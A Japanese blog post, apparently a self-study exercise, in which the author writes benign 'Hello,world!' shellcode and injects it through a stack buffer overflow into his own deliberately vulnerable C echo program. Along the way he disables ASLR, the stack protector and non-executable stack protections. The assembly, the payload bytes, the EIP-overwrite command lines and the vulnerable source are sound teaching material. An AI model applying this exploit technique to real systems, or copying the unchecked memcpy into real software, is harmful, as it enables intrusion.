プロローグ Link to heading
先日buffer overflowを自作自演したとき、バイナリ内に既に存在しているinstructionにEIPを導いた。任意のコードを外からinjectすることはできるだろうか。
何かしら任意の文字列を表示させることを試みる。
shellcodeをつくる Link to heading
まず、shellcodeを用意する。全くの初めてだが見よう見まね&少し調べてアセンブリを書く。必要最低限の理解しかないが、核となるのは以下のような点のようだ。
- 状況に依存せずinjectしたものが動いてほしいので、data segmentを使う自由はない。
call
instructionの後がスタックに乗ることを利用する。 - null byteが入るといろいろ厄介(らしい)ので、上から下へではなく、下から上へ動くような
call
にする。アドレス移動がマイナスになることで0x0
ではなく0xffffffff
に近い値になるから。 - null byteが入るといろいろ厄介(らしい)のと、コードを短くしたいので、lower bits (al, dl, etc.)を狙ってアップデートする。
“Hello,world!“と表示して静かにプログラムを終了する以下のコードを書いた。
helloworld.s
BITS 32
jmp short one
two:
pop ecx ; Pop the return address (string ptr) into ecx
xor eax, eax ; Zero out eax
mov al, 4 ; Set 4 to eax (4: syscall # for write)
xor ebx, ebx ; Zero out ebx
inc ebx ; Set 1 to ebx (1: stdout file descriptor)
xor edx, edx ; Zero out edx
mov dl, 12 ; Set 12 to edx (string length)
int 0x80 ; Do syscall: write(1, string, 14)
mov al, 1 ; Set 1 to eax (1: syscall # for exit)
dec ebx ; Set 0 to ebx (status for exit)
int 0x80 ; Do syscall: exit(0)
one:
call two
db "Hello,world!"
ちゃんと動くだろうか。アセンブルし、リンクし、動かしてみる。
$ nasm -f elf helloworld.s
$ ld helloworld.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
$ ./a.out
Hello,world!
大丈夫そうだ。では使おう。
- シンプルなバイナリとしてアセンブルし、
- ディスアセンブル結果を見て安心し、
- shellcodeとして使う用にhexで出力する。
$ nasm helloworld.s
$ ndisasm -b32 helloworld
00000000 EB13 jmp short 0x15
00000002 59 pop ecx
00000003 31C0 xor eax,eax
00000005 B004 mov al,0x4
00000007 31DB xor ebx,ebx
00000009 43 inc ebx
0000000A 31D2 xor edx,edx
0000000C B20C mov dl,0xc
0000000E CD80 int 0x80
00000010 B001 mov al,0x1
00000012 4B dec ebx
00000013 CD80 int 0x80
00000015 E8E8FFFFFF call dword 0x2
0000001A 48 dec eax
0000001B 656C gs insb
0000001D 6C insb
0000001E 6F outsd
0000001F 2C77 sub al,0x77
00000021 6F outsd
00000022 726C jc 0x90
00000024 64 fs
00000025 21 db 0x21
$ hexdump -C helloworld
00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0c cd 80 |..Y1...1.C1.....|
00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,|
00000020 77 6f 72 6c 64 21 |world!|
00000026
というわけで、送り込みたいのは以下のバイト列(38バイト)。
\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21
gdb内で注入する Link to heading
作ったshellcodeを送り込んでみる。まずはgdb内で。
訳あって前回と違う環境を使っている(理由は後述)。バイナリも同じコードから改めて用意した。
$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) disass func1
Dump of assembler code for function func1:
0x080484dd <+0>: push ebp
0x080484de <+1>: mov ebp,esp
0x080484e0 <+3>: sub esp,0x38
0x080484e3 <+6>: mov DWORD PTR [esp+0x8],0x20
0x080484eb <+14>: mov DWORD PTR [esp+0x4],0x0
0x080484f3 <+22>: lea eax,[ebp-0x28]
0x080484f6 <+25>: mov DWORD PTR [esp],eax
0x080484f9 <+28>: call 0x80483d0 <memset@plt>
0x080484fe <+33>: mov eax,DWORD PTR [ebp+0xc]
0x08048501 <+36>: mov DWORD PTR [esp+0x8],eax
0x08048505 <+40>: mov eax,DWORD PTR [ebp+0x8]
0x08048508 <+43>: mov DWORD PTR [esp+0x4],eax
0x0804850c <+47>: lea eax,[ebp-0x28]
0x0804850f <+50>: mov DWORD PTR [esp],eax
0x08048512 <+53>: call 0x8048380 <memcpy@plt>
0x08048517 <+58>: lea eax,[ebp-0x28]
0x0804851a <+61>: mov DWORD PTR [esp+0x4],eax
0x0804851e <+65>: mov DWORD PTR [esp],0x8048610
0x08048525 <+72>: call 0x8048370 <printf@plt>
0x0804852a <+77>: mov eax,0x1
0x0804852f <+82>: leave
0x08048530 <+83>: ret
End of assembler dump.
(gdb) b *0x08048525
Breakpoint 1 at 0x8048525
(gdb) run $(perl -e 'print "A"x44';)
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "A"x44';)
Breakpoint 1, 0x08048525 in func1 ()
(gdb) x/16wx $esp
0xbffff630: 0x08048610 0xbffff640 0x0000002c 0xb7e552f3
0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff660: 0x41414141 0x41414141 0x41414141 0x08048579
(gdb) x/4i 0x08048579
0x8048579 <main+72>: leave
0x804857a <main+73>: ret
0x804857b: xchg ax,ax
0x804857d: xchg ax,ax
(gdb) q
A debugging session is active.
Inferior 1 [process 4726] will be killed.
Quit anyway? (y or n) y
$
というわけでプログラム引数として渡したいのは、
- 前回明らかにした通りトータルで48バイト
- どこかにさっきのshellcode (38バイト)
- 一番最後が
0xbffff640
ということで以下。序盤を\x90
(nop)で埋める。
$ perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";'
�������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���
渡して実行してみる。
$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@������0
Hello,world![Inferior 1 (process 4870) exited normally]
お、できた!
gdb外で注入する Link to heading
前回同様、同じことをgdb外で実行してみる。
$ ./yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@�������0
Segmentation fault (core dumped)
むむ。coreを見よう。
$ gdb -q yamabiko -c core.yamabiko.5336
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5336]
Core was generated by `./yamabiko �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff640 in ?? ()
(gdb) i r eip
eip 0xbffff640 0xbffff640
(gdb) x/4i $eip
=> 0xbffff640: Cannot access memory at address 0xbffff640
(gdb)
eip
は狙った通り0xbffff640
を指しているが、そんなアドレスにはアクセスできないと言われた。
Address Space Layout Randomization (ASLR) Link to heading
Oracle® LinuxSecurity Guide for Release 6 - 3.15.1 Address Space Layout Randomization
スタックのアドレスがrandomizeされるらしい。試しに別途、引数で渡された文字列のアドレスを表示するyamabiko_debug
を作って複数回実行したら、以下のような結果が得られた。
$ for i in {1..5}; do ./yamabiko_debug AAAA; done
str is at 0xbfcf86e0
yamabiko: AAAA
str is at 0xbfd068d0
yamabiko: AAAA
str is at 0xbfdf6990
yamabiko: AAAA
str is at 0xbf9b5a40
yamabiko: AAAA
str is at 0xbf88c750
yamabiko: AAAA
以下のように値を確認し、disableした。
$ sysctl -n kernel.randomize_va_space
2
$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ sysctl -n kernel.randomize_va_space
0
結果、なるほど、アドレスが一定になった。
$ for i in {1..5}; do ./yamabiko_debug AAAA; done
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
str is at 0xbffff6a0
yamabiko: AAAA
プログラム引数 Link to heading
ASLRを外した後に再度実行したが、またSegmentation faultになった。
$ ./yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@�������0
Segmentation fault (core dumped)
coreを見てみる。
$ gdb -q yamabiko -c core.yamabiko.5348
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5348]
Core was generated by `./yamabiko �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff640 in ?? ()
(gdb) i r eip
eip 0xbffff640 0xbffff640
(gdb) x/4i $eip
=> 0xbffff640: add BYTE PTR [eax],al
0xbffff642: add BYTE PTR [eax],al
0xbffff644: add BYTE PTR [eax],al
0xbffff646: add BYTE PTR [eax],al
(gdb) x/32bx $eip
0xbffff640: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff648: 0xa8 0xf6 0xff 0xbf 0x3f 0xf4 0xe6 0xb7
0xbffff650: 0xc0 0xfa 0xfc 0xb7 0x10 0x86 0x04 0x08
0xbffff658: 0x74 0xf6 0xff 0xbf 0x10 0xf4 0xe6 0xb7
(gdb)
今度は0xbffff640
はスタックのどこかを指しているようだが、入れたものと違う。ちょっと調べてこちらにたどり着いた: Stack Overflow - Buffer overflow works in gdb but not without it
そういえば、gdb外で実行するときは./yamabiko
としているが、以下の通りgdbは絶対パスでプログラムを実行しているようだった。
$ gdb -q yamabiko
Reading symbols from yamabiko...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
Starting program: /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@������0
Hello,world![Inferior 1 (process 5483) exited normally]
(gdb)
じゃあ絶対パスで実行してみよう。
$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���h���0
Hello,world!
おお、できた!
エピローグ Link to heading
-z execstack Link to heading
先述のお世話になっているセキュリティエンジニアからもらった課題では、実は上記ができなかった。shellcodeの最初のインストラクションでsegmentation faultしていた。「うう、ヒントください」と持ちかけたところ、どうやら出題ミスだったらしい。
$ gcc -fno-stack-protector -o yamabiko my_echo.c
$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���h���0
Segmentation fault (core dumped)
$ gdb -q yamabiko -c core.yamabiko.5831
Reading symbols from yamabiko...(no debugging symbols found)...done.
[New LWP 5831]
Core was generated by `/home/vagrant/work/my_echo/yamabiko �������Y1��1�C1Ҳ
̀�K̀�����Hello,world'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff640 in ?? ()
(gdb) i r eip
eip 0xbffff640 0xbffff640
(gdb) x/4i $eip
=> 0xbffff640: nop
0xbffff641: nop
0xbffff642: nop
0xbffff643: nop
(gdb)
stack領域に置いてあるコードを実行しないようにというプロテクションがかかるらしく、これを外すため、コンパイル時に-z execstack
が必要だったらしい。
$ gcc -fno-stack-protector -z execstack -o yamabiko my_echo.c
$ /home/vagrant/work/my_echo/yamabiko $(perl -e 'print "\x90"x6 . "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0c\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x77\x6f\x72\x6c\x64\x21" . "\x40\xf6\xff\xbf";')
yamabiko: �������Y1��1�C1Ҳ
̀�K̀�����Hello,world!@���h���0
Hello,world!
core Link to heading
途中、core dumpが出力されないという問題に直面し、以下のようなことをした。
$ sysctl -a | grep core_pattern
や$ less /proc/sys/kernel/core_pattern
でcoreの出力先が/usr/share/apport/apport
であることを知る$ less /var/log/apport.log
でapportでのエラーがあることを知る# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern
でapportを使わないように変更する
こちらの記事に大変お世話になった: Ubuntuでコアダンプが出力できないことがある
ここで、core_pattern
のアップデートのためにsu
する必要があったが、こちらのissueのおかげで容易でなかったので、環境を"ubuntu/xenial32"から"ubuntu/trusty32"に変えた。
my_echo.c Link to heading
前回からの自作自演は以下のソースコードを元にしたものだった。
#include <stdio.h>
#include <string.h>
int func1(char input[], int length) {
char str[32];
memset(str, 0, sizeof str);
memcpy(str, input, length);
//printf("str is at %p\n", str);
printf("yamabiko: %s\n", str);
return 1;
}
int main(int argc, char* argv[]) {
if (argc != 2) {
puts("usage: yamabiko whatever_you_want_to_spill_out");
return -1;
}
return func1(argv[1], strlen(argv[1]));
}